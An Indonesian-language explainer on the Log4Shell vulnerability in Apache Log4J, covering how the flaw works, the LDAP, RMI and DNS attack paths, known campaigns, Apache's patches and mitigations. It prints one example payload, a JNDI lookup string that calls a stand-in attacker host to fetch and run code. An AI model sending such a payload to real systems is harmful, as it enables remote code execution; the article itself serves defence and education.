Apa itu Log4Shell?

Log4Shell - Pengenal Kerentanan dan Paparan Umum CVE: CVE-2021-44228 - memiliki skor Sistem Penilaian Kerentanan Umum (CVSS) 10, yang menunjukkan kerentanan kritis. Aplikasi ini dianggap sebagai salah satu kerentanan paling berbahaya yang pernah ada karena jangkauannya yang luas dan dapat menimbulkan dampak yang meresahkan.

Diperkirakan 10 persen dari semua aset digital — termasuk aplikasi web, layanan cloud, dan titik akhir fisik seperti server — rentan terhadap Log4Shell pada saat penemuannya. Peretas dapat menggunakan Log4Shell untuk melakukan hampir semua hal: mencuri data (eksfiltrasi data), menginstal ransomware, menangkap perangkat untuk botnet, dan banyak lagi.

Peneliti keamanan cloud pertama kali menemukan Log4Shell pada November 2021. Apache merilis patch pada bulan Desember 2021, dan semua versi Log4J dari 2.17.1 dan seterusnya bebas dari Log4Shell dan kerentanan terkait. Namun, Badan Keamanan Siber dan Keamanan Infrastruktur (CISA) melaporkan bahwa Log4Shell masih menjadi salah satu kerentanan yang paling sering dieksploitasi. Log4J merupakan suatu komponen yang dominan dalam rantai pasokan perangkat lunak, mencari dan memperbaiki setiap contoh kerentanan dapat memakan waktu yang lama.

Sementara itu, tim keamanan dapat mengambil langkah lain untuk mengurangi eksposur jaringan, yang akan dibahas lebih lanjut di bawah ini.

Log4Shell mempengaruhi Log4J, sebuah pustaka pencatatan sumber terbuka yang dikelola oleh Apache Software Foundation. Log4J adalah sebuah logger, sebuah komponen perangkat lunak yang mencatat informasi dan peristiwa dalam sebuah program, seperti pesan kesalahan dan input pengguna.

Log4J bukanlah sebuah program yang berdiri sendiri, melainkan sebuah paket kode yang dapat disambungkan oleh pengembang ke dalam aplikasi Java mereka alih-alih membangun logger dari awal. Perusahaan-perusahaan besar seperti Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco dan banyak lagi menggunakan Log4J dalam perangkat lunak dan layanannya.

Log4Shell dihasilkan dari cara versi Log4J yang rentan menangani dua fitur terkait: Pencarian Java Naming and Directory Interface (JNDI) dan penggantian pencarian pesan. Setiap fitur secara sendiri-sendiri tidak akan berbahaya, tetapi interaksi di antara mereka memberi peretas senjata yang ampuh.

JNDI adalah antarmuka pemrograman aplikasi (API) yang digunakan aplikasi Java untuk mengakses sumber daya yang dihosting di server eksternal. Pencarian JNDI adalah perintah yang memerintahkan aplikasi untuk pergi ke server dan mengunduh objek tertentu, seperti sepotong data atau skrip. Versi lama Log4J 2 secara otomatis menjalankan kode apa pun yang diunduh dengan cara ini.

Substitusi pencarian pesan memungkinkan pengguna dan aplikasi mengirim variabel ke Log4J dalam pesan log dengan menggunakan sintaks tertentu: ${prefix:name}. Ketika Log4J menemukan sintaks ini, log akan menyelesaikan variabel dan mencatat nilainya dalam log. Misalnya, jika Log4J menerima pesan yang berbunyi

${java:version}

akan mengetahui versi Java yang sedang berjalan pada perangkat. Dalam log, itu akan mencatat: "Java versi X.XX."

Dengan kata lain, Log4J tidak memperlakukan substitusi pencarian pesan seperti teks biasa. Log ini memperlakukan mereka seperti perintah dan mengambil tindakan berdasarkan apa yang mereka katakan. Peretas dapat memanfaatkan fakta ini untuk mengirimkan perintah pencarian JNDI yang berbahaya ke aplikasi yang menjalankan versi Log4J yang rentan. Sebagai contoh, seorang peretas dapat mengirim Log4J sebuah string seperti ini:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Ketika Log4J menerima pesan ini, log ini akan menyelesaikan variabel dengan menjangkau server di myevilwebsite.biz dan mengunduh objek yang terletak di /maliciouscode. Proses ini akan membuat Log4J mengeksekusi kode Java apa pun yang disimpan peretas di lokasi tersebut, biasanya berupa malware.

Peretas dapat menggunakan protokol standar untuk memicu Log4Shell, sehingga lebih mudah bagi lalu lintas jahat untuk menghindari deteksi. Sebagian besar serangan Log4Shell menggunakan salah satu protokol berikut: Protokol Akses Direktori Ringan (LDAP); Pemanggilan Metode Jarak Jauh (RMI); atau Sistem Nama Domain (DNS). 

LDAP digunakan untuk menyimpan data di lokasi pusat di mana berbagai aplikasi dan layanan dapat mengaksesnya. LDAP adalah metode yang paling umum digunakan peretas untuk mengeksploitasi Log4Shell. Cara kerja serangan tipikal adalah sebagai berikut:

• Peretas menyiapkan server LDAP dan menyimpan kode berbahaya di dalamnya.
  
  
• Peretas mengirimkan pencarian JNDI ke sebuah program yang menggunakan Log4J.
  
  
• Pencarian JNDI menyebabkan program menjangkau server LDAP penyerang, mengunduh muatan, dan mengeksekusi kode.

RMI adalah fitur Java yang memungkinkan aplikasi di satu perangkat untuk memberi tahu aplikasi di perangkat lain untuk melakukan sesuatu, seperti berbagi informasi atau menjalankan suatu fungsi.

Serangan RMI bekerja dengan cara yang kurang lebih sama dengan serangan LDAP: peretas menyiapkan server RMI, mengelabui target untuk terhubung ke server mereka, dan mengirimkan perintah jahat kembali ke target.

Serangan RMI tidak terlalu umum, tetapi beberapa peretas beralih ke RMI karena semakin banyak organisasi yang memblokir lalu lintas LDAP sama sekali.

Peretas menggunakan DNS untuk mencari target. Mereka mengirim pencarian JNDI ke sebuah program, memberitahunya untuk terhubung ke server DNS yang dikendalikan oleh peretas. Jika server DNS mencatat koneksi dari program ini, para peretas tahu bahwa sistem ini rentan terhadap upaya eksploitasi Log4Shell lebih lanjut.

Karena Log4Shell memungkinkan peretas menjalankan kode arbitrer, penjahat siber bisa menggunakan kelemahan itu untuk melancarkan berbagai serangan. Log4Shell juga merupakan kerentanan zero-day pada saat ditemukannya, yang berarti para peretas sudah memiliki keunggulan saat mulai mengeksploitasi.

Beberapa serangan Log4Shell yang paling awal menginfeksi komputer dengan cryptojackers, sebuah jenis malware yang menggunakan perangkat untuk menambang mata uang kripto tanpa sepengetahuan pemiliknya. Botnet Mirai juga telah menggunakan kelemahan tersebut untuk mengambil alih perangkat.

Berbagai serangan ransomware telah memanfaatkan Log4Shell. Yang paling menonjol termasuk jenis Khonsari, yang menyebar melalui video game Minecraft, dan NightSky, yang menargetkan sistem yang menjalankan VMware Horizon.

Para perantara akses telah menggunakan Log4Shell untuk membangun pijakan di jaringan perusahaan yang bernilai tinggi, sering kali dengan secara diam-diam memasukkan Trojan akses jarak jauh (RAT) pada sistem yang disusupi. Pialang akses kemudian menjual pijakan ini kepada afiliasi ransomware-sebagai-layanan atau peretas lain di dark web.

Ketika Apache bekerja untuk menambal Log4Shell setelah penemuannya, beberapa kelemahan terkait terungkap. Pada akhirnya, dibutuhkan empat tambalan untuk memperbaiki Log4Shell dan semua kerentanan yang terkait.

Patch pertama yang dirilis Apache, Log4J versi 2.15.0, menutup sebagian besar kerentanan Log4Shell. Namun, peretas masih bisa mengirim pencarian JNDI berbahaya ke sistem yang menggunakan pengaturan non-default tertentu. Apache mengatasi cacat ini dengan Log4J versi 2.16.0.

Versi 2.16.0 juga ternyata belum lengkap. Peretas dapat menggunakan pencarian pesan berbahaya untuk mengirim sistem yang rentan ke rekursi tak terbatas, yang mengarah ke serangan denial-of-service. Apache merilis versi 2.17 untuk memperbaiki kekurangan ini.

Kurang parah dari yang lain, cacat ini memungkinkan peretas untuk mengeksekusi kode dari jarak jauh, tetapi mereka perlu mendapatkan izin yang lebih tinggi dan mengubah konfigurasi log terlebih dahulu. Apache mengatasi hal ini dengan patch keempat ini, Log4J versi 2.17.1.

Para peneliti keamanan sangat menyarankan agar organisasi memprioritaskan untuk memperbarui semua contoh Log4J di jaringan mereka ke versi terbaru, atau setidaknya versi 2.17.1. Penambalan adalah satu-satunya cara untuk memperbaiki Log4Shell sepenuhnya.

Namun, tim keamanan mungkin tidak dapat menambal semua contoh Log4J di jaringan mereka dengan segera. Instalasi Log4J yang rentan sering kali hadir sebagai ketergantungan tidak langsung, yang berarti aset perusahaan tidak menggunakan Log4J, tetapi bergantung pada aplikasi dan layanan lain yang menggunakan Log4J. Menurut Google, sebagian besar instance Log4J yang rentan memiliki kedalaman lebih dari satu level, dan beberapa di antaranya mencapai sembilan level.

Ketika Log4J merupakan ketergantungan tidak langsung, maka akan lebih sulit bagi tim keamanan untuk menemukannya. Ketika mereka menemukannya, mereka mungkin tidak dapat menambalnya, tergantung di mana letaknya. Jika Log4J terkubur dalam paket perangkat lunak yang digunakan oleh aplikasi pihak ketiga, tim keamanan akan membutuhkan vendor untuk memperbarui Log4J di sisi mereka.

Bahkan ketika Log4J hadir sebagai ketergantungan langsung, mungkin sulit dikenali. Proses pengembangan perangkat lunak saat ini sangat kompleks, bergantung pada tim yang besar dan susunan kode yang sudah ada sebelumnya. Pengembang mungkin tidak menyadari bahwa aplikasi mereka mengandung versi Log4J yang rentan, karena contoh-contoh tersebut mungkin berada jauh di dalam paket perangkat lunak yang telah ditulis sebelumnya yang tidak dikodekan oleh para pengembang.

Pada Desember 2022, 25 persen unduhan Log4J masih rentan terhadap Log4Shell, yang berarti orang menggunakan versi Log4J yang sudah ketinggalan zaman untuk membangun aset baru.

Log4J begitu banyak digunakan dalam rantai pasokan perangkat lunak sehingga menemukan dan memperbaiki setiap contoh yang rentan akan memakan waktu setidaknya satu dekade, menurut Departemen Keamanan Dalam Negeri AS.

Sementara itu, tim keamanan dapat mengambil langkah lain untuk mengurangi paparan jaringan.

Tim keamanan dapat melarang substitusi pencarian pesan di Log4J, sehingga Log4J memperlakukan pesan peretas sebagai teks biasa dan bukannya perintah untuk dieksekusi.

Ada dua cara untuk melakukan ini: dengan mengubah "Log4J2.formatMsgNoLookups" properti sistem ke "true" atau menetapkan nilai variabel lingkungan LOG4J_FORMAT_MSG_NO_LOOKUPS ke "true."

Perhatikan bahwa versi Log4J yang belum ditambal masih terkena CVE-2021-45046, yang memungkinkan peretas mengirim pencarian JNDI berbahaya ketika pengaturan non-default tertentu digunakan. Oleh karena itu, melarang pencarian pesan tidaklah mudah.

Aplikasi Java menggunakan kelas untuk mendefinisikan apa yang dapat dilakukan oleh sebuah program. Di Log4J, class "JNDILookup" mengatur pencarian JNDI. Jika class ini dihapus dari direktori class Log4J—a.k.a., classpath—maka pencarian JNDI tidak dapat dilakukan lagi.

Melarang pencarian JNDI mencegah peretas mengirimkan perintah jahat, tetapi juga dapat memengaruhi fungsi lain dari Log4J dan aplikasi yang menggunakannya. Hal ini juga dapat menyulitkan untuk memastikan setiap instance dari kelas dihapus.

Organisasi bisa menggunakan firewall dan alat keamanan siber lainnya untuk memblokir lalu lintas dari aset yang berhadapan dengan internet yang rentan ke server yang dikendalikan penyerang. Contohnya, tim keamanan dapat menetapkan aturan untuk melarang semua koneksi yang menggunakan protokol LDAP atau RMI.

Memblokir lalu lintas keluar dan bukannya lalu lintas masuk akan membantu menghindari positif palsu, karena vendor dan peneliti keamanan mungkin memindai aset untuk menemukan contoh yang masih ada dan belum ditambal.

Kelemahannya adalah firewall dapat memblokir atau menggagalkan koneksi keluar yang diperlukan, terutama jika organisasi menggunakan LDAP atau RMI untuk alasan yang sah.